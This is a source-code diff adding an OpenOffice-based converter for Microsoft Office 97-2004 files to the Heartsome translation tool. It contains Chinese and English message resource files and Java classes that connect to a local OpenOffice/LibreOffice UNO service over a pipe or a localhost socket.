\u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362\u5171\u7528\u65f6\uff1a{} + +ooconnect.OPConnection.msg = \u8fde\u63a5\u5931\u8d25\uff1a{0}\n\u8bf7\u5148\u5173\u95ed\u6240\u6709 OpenOffice/LibreOffice \u7a0b\u5e8f\u3001\u5e76\u4f7f\u7528\u4efb\u52a1\u7ba1\u7406\u5668\u7ed3\u675f\u6240\u6709 soffice \u8fdb\u7a0b\uff0c\u6216\u91cd\u542f\u7535\u8111\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +ooconverter.AbstractOpenOfficeDocumentConverter.6 = [LOG] \u8f93\u5165\u6d41 +ooconverter.AbstractOpenOfficeDocumentConverter.7 = [LOG] \u8f93\u5165\u683c\u5f0f +ooconverter.AbstractOpenOfficeDocumentConverter.8 = [LOG] \u8f93\u51fa\u6d41 +ooconverter.AbstractOpenOfficeDocumentConverter.9 = [LOG] \u8f93\u51fa\u683c\u5f0f +ooconverter.AbstractOpenOfficeDocumentConverter.10 = [LOG] \u8f93\u5165\u6587\u4ef6 +ooconverter.AbstractOpenOfficeDocumentConverter.11 = [LOG] \u8f93\u51fa\u6587\u4ef6 +ooconverter.AbstractOpenOfficeDocumentConverter.12 = [LOG] \u8f93\u5165\u6587\u4ef6\u4e0d\u5b58\u5728\uff1a +ooconverter.AbstractOpenOfficeDocumentConverter.13 = [LOG] \u4e0d\u652f\u6301\u7684\u8f93\u5165\u683c\u5f0f\uff1a +ooconverter.AbstractOpenOfficeDocumentConverter.14 = [LOG] \u4e0d\u652f\u6301\u7684\u8f6c\u6362\uff1a\u4ece {0} \u5230 {1} +ooconverter.AbstractOpenOfficeDocumentConverter.15 = [LOG] \ \u4e3a\u7a7a\u3002 +ooconverter.AbstractOpenOfficeDocumentConverter.16 = [LOG] \u672a\u77e5\u7684\u6587\u4ef6\u683c\u5f0f\uff1a +ooconverter.OpenOfficeDocumentConverter.4 = [LOG] \u8f6c\u6362\u5931\u8d25 +ooconverter.OpenOfficeDocumentConverter.9 = [LOG] \u8f6c\u6362\u5931\u8d25\uff1a\u65e0\u6cd5\u88c5\u5165\u8f93\u5165\u6587\u6863 +ooconverter.StreamOpenOfficeDocumentConverter.1 = [LOG] \u8f6c\u6362\u5931\u8d25 +ooconverter.StreamOpenOfficeDocumentConverter.6 = [LOG] \u8f6c\u6362\u5931\u8d25\uff1a\u8f93\u5165\u6587\u6863\u5728\u88c5\u5165\u540e\u4e3a\u7a7a + +impl.DocumentFamily.0 = [LOG] \u65e0\u6548\u7684 DocumentFamily\uff1a + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +msoffice2003.TYPE_NAME_VALUE = Microsoft Office 97-2004 \u6587\u6863 (DOC, XLS, PPT) +msoffice2003.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/message_en.properties new file mode 100644 index 0000000..6c9bbe3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/message_en.properties @@ -0,0 +1,45 @@ +msoffice2003.MSOffice2Xliff.task1 = Converting... +msoffice2003.MSOffice2Xliff.task2 = Checking if OpenOffice is available... +msoffice2003.MSOffice2Xliff.task3 = Creating intermediate temporary files... +msoffice2003.MSOffice2Xliff.task4 = Generating XLIFF files... +msoffice2003.MSOffice2Xliff.msg1 = Unable to find OpenOffice applications under the specified path.\nPlease double-check that OpenOffice/LibreOffice is correctly installed. If so, specify the installation path in the settings of Tools > Options > Translate, and try again. +msoffice2003.MSOffice2Xliff.msg2 = An error occured when converting Microsoft Office 2003 files to OpenOffice.\nPlease close all OpenOffice/LibreOffice applications and end all "soffice" processes in Task Manager, or reboot the computer and then try again. + +msoffice2003.Xliff2MSOffice.task1 = Converting... +msoffice2003.Xliff2MSOffice.task2 = Checking if OpenOffice is available... +msoffice2003.Xliff2MSOffice.task3 = Converting files in OpenOffice... +msoffice2003.Xliff2MSOffice.msg1 = Unable to find OpenOffice applications under the specified path.\nPlease double-check that OpenOffice/LibreOffice is correctly installed. If so, specify the installation path in the settings of Tools > Options > Translate, and try again. +msoffice2003.Xliff2MSOffice.msg2 = An error occured when converting Microsoft Office 2003 files to OpenOffice.\nPlease close all OpenOffice/LibreOffice applications and end all "soffice" processes in Task Manager, or reboot the computer and then try again. +msoffice2003.Xliff2MSOffice.logger1 = [LOG] \u59d4\u6d3e\u5176\u5b83\u8f6c\u6362\u5668\u8fdb\u884c\u64cd\u4f5c\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger2 = [LOG] \u59d4\u6d3e\u5176\u5b83\u8f6c\u6362\u5668\u8fdb\u884c\u64cd\u4f5c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger3 = [LOG] \u59d4\u6d3e\u5176\u5b83\u8f6c\u6362\u5668\u8fdb\u884c\u64cd\u4f5c\u5171\u7528\u65f6\uff1a{} +msoffice2003.Xliff2MSOffice.logger4 = [LOG] \u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger5 = [LOG] \u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger6 = [LOG] \u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528\u5171\u7528\u65f6\uff1a{} +msoffice2003.Xliff2MSOffice.logger7 = [LOG] \u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger8 = [LOG] \u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger9 = [LOG] \u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362\u5171\u7528\u65f6\uff1a{} + +ooconnect.OPConnection.msg = Failed to connect.{0}\nPlease close all OpenOffice/LibreOffice applications and end all "soffice" processes in Task Manager, or reboot the computer and then try again. + +ooconverter.AbstractOpenOfficeDocumentConverter.6 = [LOG] \u8f93\u5165\u6d41 +ooconverter.AbstractOpenOfficeDocumentConverter.7 = [LOG] \u8f93\u5165\u683c\u5f0f +ooconverter.AbstractOpenOfficeDocumentConverter.8 = [LOG] \u8f93\u51fa\u6d41 +ooconverter.AbstractOpenOfficeDocumentConverter.9 = [LOG] \u8f93\u51fa\u683c\u5f0f +ooconverter.AbstractOpenOfficeDocumentConverter.10 = [LOG] \u8f93\u5165\u6587\u4ef6 +ooconverter.AbstractOpenOfficeDocumentConverter.11 = [LOG] \u8f93\u51fa\u6587\u4ef6 +ooconverter.AbstractOpenOfficeDocumentConverter.12 = [LOG] \u8f93\u5165\u6587\u4ef6\u4e0d\u5b58\u5728\uff1a +ooconverter.AbstractOpenOfficeDocumentConverter.13 = [LOG] \u4e0d\u652f\u6301\u7684\u8f93\u5165\u683c\u5f0f\uff1a +ooconverter.AbstractOpenOfficeDocumentConverter.14 = [LOG] \u4e0d\u652f\u6301\u7684\u8f6c\u6362\uff1aFrom {0} to {1} +ooconverter.AbstractOpenOfficeDocumentConverter.15 = [LOG] \ \u4e3a\u7a7a\u3002 +ooconverter.AbstractOpenOfficeDocumentConverter.16 = [LOG] \u672a\u77e5\u7684\u6587\u4ef6\u683c\u5f0f\uff1a +ooconverter.OpenOfficeDocumentConverter.4 = [LOG] \u8f6c\u6362\u5931\u8d25 +ooconverter.OpenOfficeDocumentConverter.9 = [LOG] \u8f6c\u6362\u5931\u8d25\uff1aUnable to load the input document. +ooconverter.StreamOpenOfficeDocumentConverter.1 = [LOG] \u8f6c\u6362\u5931\u8d25 +ooconverter.StreamOpenOfficeDocumentConverter.6 = [LOG] \u8f6c\u6362\u5931\u8d25\uff1aThe input document is empty after loading. + +impl.DocumentFamily.0 = [LOG] \u65e0\u6548\u7684 DocumentFamily\uff1a + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +msoffice2003.TYPE_NAME_VALUE = Microsoft Office 97-2004 document (DOC, XLS, PPT) +msoffice2003.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/message_zh.properties new file mode 100644 index 0000000..a4cbaf3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/message_zh.properties @@ -0,0 +1,45 @@ +msoffice2003.MSOffice2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +msoffice2003.MSOffice2Xliff.task2 = \u6b63\u5728\u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528.... +msoffice2003.MSOffice2Xliff.task3 = \u6b63\u5728\u751f\u6210\u4e2d\u95f4\u4e34\u65f6\u6587\u4ef6.... +msoffice2003.MSOffice2Xliff.task4 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +msoffice2003.MSOffice2Xliff.msg1 = \u65e0\u6cd5\u5728\u6307\u5b9a\u7684\u8def\u5f84\u4e0b\u627e\u5230 OpenOffice \u7a0b\u5e8f\u3002\n\u8bf7\u786e\u8ba4\u5df2\u6b63\u786e\u5b89\u88c5 OpenOffice/LibreOffice\uff0c\u5e76\u5df2\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1\u4e2d\u6b63\u786e\u8bbe\u7f6e\u5176\u5b89\u88c5\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +msoffice2003.MSOffice2Xliff.msg2 = \u4f7f\u7528 OpenOffice \u8f6c\u6362 Microsoft Office 2003 \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\u3002\n\u8bf7\u5148\u5173\u95ed\u6240\u6709 OpenOffice/LibreOffice \u7a0b\u5e8f\u3001\u5e76\u4f7f\u7528\u4efb\u52a1\u7ba1\u7406\u5668\u7ed3\u675f\u6240\u6709 soffice \u8fdb\u7a0b\uff0c\u6216\u91cd\u542f\u7535\u8111\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +msoffice2003.Xliff2MSOffice.task1 = \u6b63\u5728\u8f6c\u6362... +msoffice2003.Xliff2MSOffice.task2 = \u6b63\u5728\u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528.... +msoffice2003.Xliff2MSOffice.task3 = \u6b63\u5728\u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362... +msoffice2003.Xliff2MSOffice.msg1 = \u65e0\u6cd5\u5728\u6307\u5b9a\u7684\u8def\u5f84\u4e0b\u627e\u5230 OpenOffice \u7a0b\u5e8f\u3002\n\u8bf7\u786e\u8ba4\u5df2\u6b63\u786e\u5b89\u88c5 OpenOffice/LibreOffice\uff0c\u5e76\u5df2\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1\u4e2d\u6b63\u786e\u8bbe\u7f6e\u5176\u5b89\u88c5\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +msoffice2003.Xliff2MSOffice.msg2 = \u4f7f\u7528 OpenOffice \u8f6c\u6362 Microsoft Office 2003 \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\u3002\n\u8bf7\u5148\u5173\u95ed\u6240\u6709 OpenOffice/LibreOffice \u7a0b\u5e8f\u3001\u5e76\u4f7f\u7528\u4efb\u52a1\u7ba1\u7406\u5668\u7ed3\u675f\u6240\u6709 soffice \u8fdb\u7a0b\uff0c\u6216\u91cd\u542f\u7535\u8111\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +msoffice2003.Xliff2MSOffice.logger1 = [LOG] \u59d4\u6d3e\u5176\u5b83\u8f6c\u6362\u5668\u8fdb\u884c\u64cd\u4f5c\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger2 = [LOG] \u59d4\u6d3e\u5176\u5b83\u8f6c\u6362\u5668\u8fdb\u884c\u64cd\u4f5c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger3 = [LOG] \u59d4\u6d3e\u5176\u5b83\u8f6c\u6362\u5668\u8fdb\u884c\u64cd\u4f5c\u5171\u7528\u65f6\uff1a{} +msoffice2003.Xliff2MSOffice.logger4 = [LOG] \u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger5 = [LOG] \u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger6 = [LOG] \u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528\u5171\u7528\u65f6\uff1a{} +msoffice2003.Xliff2MSOffice.logger7 = [LOG] \u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger8 = [LOG] \u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger9 = [LOG] \u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362\u5171\u7528\u65f6\uff1a{} + +ooconnect.OPConnection.msg = \u8fde\u63a5\u5931\u8d25\uff1a{0}\n\u8bf7\u5148\u5173\u95ed\u6240\u6709 OpenOffice/LibreOffice \u7a0b\u5e8f\u3001\u5e76\u4f7f\u7528\u4efb\u52a1\u7ba1\u7406\u5668\u7ed3\u675f\u6240\u6709 soffice \u8fdb\u7a0b\uff0c\u6216\u91cd\u542f\u7535\u8111\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +ooconverter.AbstractOpenOfficeDocumentConverter.6 = [LOG] \u8f93\u5165\u6d41 +ooconverter.AbstractOpenOfficeDocumentConverter.7 = [LOG] \u8f93\u5165\u683c\u5f0f +ooconverter.AbstractOpenOfficeDocumentConverter.8 = [LOG] \u8f93\u51fa\u6d41 +ooconverter.AbstractOpenOfficeDocumentConverter.9 = [LOG] \u8f93\u51fa\u683c\u5f0f +ooconverter.AbstractOpenOfficeDocumentConverter.10 = [LOG] \u8f93\u5165\u6587\u4ef6 +ooconverter.AbstractOpenOfficeDocumentConverter.11 = [LOG] \u8f93\u51fa\u6587\u4ef6 +ooconverter.AbstractOpenOfficeDocumentConverter.12 = [LOG] \u8f93\u5165\u6587\u4ef6\u4e0d\u5b58\u5728\uff1a +ooconverter.AbstractOpenOfficeDocumentConverter.13 = [LOG] \u4e0d\u652f\u6301\u7684\u8f93\u5165\u683c\u5f0f\uff1a +ooconverter.AbstractOpenOfficeDocumentConverter.14 = [LOG] \u4e0d\u652f\u6301\u7684\u8f6c\u6362\uff1a\u4ece {0} \u5230 {1} +ooconverter.AbstractOpenOfficeDocumentConverter.15 = [LOG] \ \u4e3a\u7a7a\u3002 +ooconverter.AbstractOpenOfficeDocumentConverter.16 = [LOG] \u672a\u77e5\u7684\u6587\u4ef6\u683c\u5f0f\uff1a +ooconverter.OpenOfficeDocumentConverter.4 = [LOG] \u8f6c\u6362\u5931\u8d25 +ooconverter.OpenOfficeDocumentConverter.9 = [LOG] \u8f6c\u6362\u5931\u8d25\uff1a\u65e0\u6cd5\u88c5\u5165\u8f93\u5165\u6587\u6863 +ooconverter.StreamOpenOfficeDocumentConverter.1 = [LOG] \u8f6c\u6362\u5931\u8d25 +ooconverter.StreamOpenOfficeDocumentConverter.6 = [LOG] \u8f6c\u6362\u5931\u8d25\uff1a\u8f93\u5165\u6587\u6863\u5728\u88c5\u5165\u540e\u4e3a\u7a7a + +impl.DocumentFamily.0 = [LOG] \u65e0\u6548\u7684 DocumentFamily\uff1a + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +msoffice2003.TYPE_NAME_VALUE = Microsoft Office 97-2004 \u6587\u6863 (DOC, XLS, PPT) +msoffice2003.cancel = \u9000\u51fa\u8f6c\u6362 diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/OPConnection.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/OPConnection.java new file mode 100644 index 0000000..918c403 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/OPConnection.java @@ -0,0 +1,221 @@ +/** + * OPConnection.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconnect; + +import java.net.ConnectException; +import java.text.MessageFormat; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.msoffice2003.resource.Messages; + +import com.sun.star.beans.XPropertySet; +import com.sun.star.bridge.XBridge; +import com.sun.star.bridge.XBridgeFactory; +import com.sun.star.comp.helper.Bootstrap; +import com.sun.star.connection.NoConnectException; +import com.sun.star.connection.XConnection; +import com.sun.star.connection.XConnector; +import com.sun.star.frame.XComponentLoader; +import com.sun.star.lang.XComponent; +import com.sun.star.lang.XMultiComponentFactory; +import com.sun.star.ucb.XFileIdentifierConverter; +import com.sun.star.uno.Exception; +import com.sun.star.uno.UnoRuntime; +import com.sun.star.uno.XComponentContext; + +/** + * The Class OPConnection. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public abstract class OPConnection implements OPconnect { + + /** The str connection. */ + private String strConnection; + + /** The bg component. */ + private XComponent bgComponent; + + /** The service mg. */ + private XMultiComponentFactory serviceMg; + + /** The component context. */ + private XComponentContext componentContext; + + /** The bridge. */ + private XBridge bridge; + + /** The connected. */ + private boolean connected = false; + + /** The expecting disconnection. */ + private boolean expectingDisconnection = false; + + /** + * Instantiates a new oP connection. + * @param connectionStr + * the connection str + */ + protected OPConnection(String connectionStr) { + this.strConnection = connectionStr; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconnect.OPconnect#connect() + * @throws ConnectException + */ + public void connect() throws ConnectException { + try { + XComponentContext localContext; + + localContext = Bootstrap.createInitialComponentContext(null); + + XMultiComponentFactory localServiceManager = localContext.getServiceManager(); + XConnector connector = (XConnector) UnoRuntime.queryInterface(XConnector.class, localServiceManager + .createInstanceWithContext("com.sun.star.connection.Connector", localContext)); //$NON-NLS-1$ + XConnection connection = connector.connect(strConnection); + XBridgeFactory bridgeFactory = (XBridgeFactory) UnoRuntime.queryInterface(XBridgeFactory.class, + localServiceManager.createInstanceWithContext("com.sun.star.bridge.BridgeFactory", localContext)); //$NON-NLS-1$ + bridge = bridgeFactory.createBridge("ms2ooBridge", "urp", connection, null); //$NON-NLS-1$ //$NON-NLS-2$ + bgComponent = (XComponent) UnoRuntime.queryInterface(XComponent.class, bridge); + // bgComponent.addEventListener(this); + serviceMg = (XMultiComponentFactory) UnoRuntime.queryInterface(XMultiComponentFactory.class, bridge + .getInstance("StarOffice.ServiceManager")); //$NON-NLS-1$ + XPropertySet properties = (XPropertySet) UnoRuntime.queryInterface(XPropertySet.class, serviceMg); + componentContext = (XComponentContext) UnoRuntime.queryInterface(XComponentContext.class, properties + .getPropertyValue("DefaultContext")); //$NON-NLS-1$ + connected = true; + if (connected) { + System.out.println("has already connected"); //$NON-NLS-1$ + } else { + System.out.println("connect to Openoffice fail,please check OpenOffice service that have to open"); //$NON-NLS-1$ + } + + } catch (NoConnectException connectException) { + throw new ConnectException(MessageFormat.format(Messages.getString("ooconnect.OPConnection.msg"), strConnection + ": " + connectException.getMessage())); //$NON-NLS-1$ //$NON-NLS-2$ + } catch (Exception exception) { + throw new OPException(MessageFormat.format(Messages.getString("ooconnect.OPConnection.msg"), strConnection), exception); //$NON-NLS-1$ + } catch (java.lang.Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + } + } + + /** + * Disposing. + */ + public void disposing() { + expectingDisconnection = false; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconnect.OPconnect#closeconnect() + */ + public synchronized void closeconnect() { + if (expectingDisconnection) { + System.out.print(""); + } + expectingDisconnection = true; + bgComponent.dispose(); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconnect.OPconnect#getBridge() + * @return + */ + public XBridge getBridge() { + + return bridge; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconnect.OPconnect#getComponentContext() + * @return + */ + public XComponentContext getComponentContext() { + + return componentContext; + } + + /** + * Gets the service. + * @param className + * the class name + * @return the service + * @throws Exception + * the exception + */ + private Object getService(String className) throws Exception { + + return serviceMg.createInstanceWithContext(className, componentContext); + + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconnect.OPconnect#getDesktopObject() + * @return + */ + public XComponentLoader getDesktopObject() { + + XComponentLoader xc = null; + try { + xc = (XComponentLoader) UnoRuntime.queryInterface(XComponentLoader.class, + getService("com.sun.star.frame.Desktop")); //$NON-NLS-1$ + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + } + return xc; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconnect.OPconnect#getFileContentProvider() + * @return + */ + public XFileIdentifierConverter getFileContentProvider() { + XFileIdentifierConverter xf = null; + try { + xf = (XFileIdentifierConverter) UnoRuntime.queryInterface(XFileIdentifierConverter.class, + getService("com.sun.star.ucb.FileContentProvider")); //$NON-NLS-1$ + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + } + return xf; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconnect.OPconnect#getRemoteServiceManager() + * @return + */ + public XMultiComponentFactory getRemoteServiceManager() { + return serviceMg; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconnect.OPconnect#isConnected() + * @return + */ + public boolean isConnected() { + return connected; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/OPException.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/OPException.java new file mode 100644 index 0000000..5750263 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/OPException.java @@ -0,0 +1,42 @@ +/** + * OPException.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconnect; + +/** + * The Class OPException. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class OPException extends RuntimeException { + + /** The Constant serialVersionUID. */ + private static final long serialVersionUID = 1L; + + /** + * Instantiates a new oP exception. + * @param message + * the message + */ + public OPException(String message) { + super(message); + } + + /** + * Instantiates a new oP exception. + * @param message + * the message + * @param cause + * the cause + */ + public OPException(String message, Throwable cause) { + super(message, cause); + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/OPconnect.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/OPconnect.java new file mode 100644 index 0000000..776d554 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/OPconnect.java @@ -0,0 +1,76 @@ +/** + * OPconnect.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconnect; + +import java.net.ConnectException; + +import com.sun.star.bridge.XBridge; +import com.sun.star.frame.XComponentLoader; +import com.sun.star.lang.XMultiComponentFactory; +import com.sun.star.ucb.XFileIdentifierConverter; +import com.sun.star.uno.XComponentContext; + +/** + * The Interface OPconnect. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public interface OPconnect { + + /** + * Connect. + * @throws ConnectException + * the connect exception + */ + void connect() throws ConnectException; + + /** + * Closeconnect. + */ + void closeconnect(); + + /** + * Checks if is connected. + * @return true, if is connected + */ + boolean isConnected(); + + /** + * Gets the desktop object. + * @return the desktop object + * @返回 com.sun.star.frame.Desktop service + */ + XComponentLoader getDesktopObject(); + + /** + * Gets the file content provider. + * @return the com.sun.star.ucb.FileContentProvider service + */ + XFileIdentifierConverter getFileContentProvider(); + + /** + * Gets the bridge. + * @return the bridge + */ + XBridge getBridge(); + + /** + * Gets the remote service manager. + * @return the remote service manager + */ + XMultiComponentFactory getRemoteServiceManager(); + + /** + * Gets the component context. + * @return the component context + */ + XComponentContext getComponentContext(); +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/PPOPConnection.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/PPOPConnection.java new file mode 100644 index 0000000..cd86cfb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/PPOPConnection.java @@ -0,0 +1,39 @@ +/** + * PPOPConnection.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconnect; + +/** + * The Class PPOPConnection. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class PPOPConnection extends OPConnection { + + /** The Constant DEFAULT_PIPE_NAME. */ + public static final String DEFAULT_PIPE_NAME = "heartsomeconverter"; //$NON-NLS-1$ + + /** + * Instantiates a new pPOP connection. + */ + public PPOPConnection() { + this(DEFAULT_PIPE_NAME); + } + + /** + * Instantiates a new pPOP connection. + * @param pipeName + * the pipe name + */ + public PPOPConnection(String pipeName) { + super("pipe,name=" + pipeName); //$NON-NLS-1$ + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/SocketOPConnection.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/SocketOPConnection.java new file mode 100644 index 0000000..f30f9f7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/SocketOPConnection.java @@ -0,0 +1,52 @@ +/** + * SocketOPConnection.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconnect; + +/** + * The Class SocketOPConnection. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class SocketOPConnection extends OPConnection { + + /** The Constant DEFAULT_HOST. */ + public static final String DEFAULT_HOST = "localhost"; //$NON-NLS-1$ + + /** The Constant DEFAULT_PORT. */ + public static final int DEFAULT_PORT = 8100; + + /** + * Instantiates a new socket op connection. + */ + public SocketOPConnection() { + this(DEFAULT_HOST, DEFAULT_PORT); + } + + /** + * Instantiates a new socket op connection. + * @param port + * the port + */ + public SocketOPConnection(int port) { + this(DEFAULT_HOST, port); + } + + /** + * Instantiates a new socket op connection. + * @param host + * the host + * @param port + * the port + */ + public SocketOPConnection(String host, int port) { + super("socket,host=" + host + ",port=" + port + ",tcpNoDelay=1"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/TerminateListener.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/TerminateListener.java new file mode 100644 index 0000000..89c1260 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/TerminateListener.java @@ -0,0 +1,59 @@ +/** + * TerminateListener.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconnect; + +import com.sun.star.frame.TerminationVetoException; +import com.sun.star.frame.XTerminateListener; + +/** + * The listener interface for receiving terminate events. The class that is interested in processing a terminate event + * implements this interface, and the object created with that class is registered with a component using the + * component's addTerminateListener method. When the terminate event occurs, that object's appropriate + * method is invoked. + * @see TerminateEvent + */ +public class TerminateListener implements XTerminateListener { + + /** + * (non-Javadoc). + * @param eventObject + * the event object + * @see com.sun.star.frame.XTerminateListener#notifyTermination(com.sun.star.lang.EventObject) + */ + public void notifyTermination(com.sun.star.lang.EventObject eventObject) { + System.out.println("about to terminate..."); //$NON-NLS-1$ + } + + /** + * 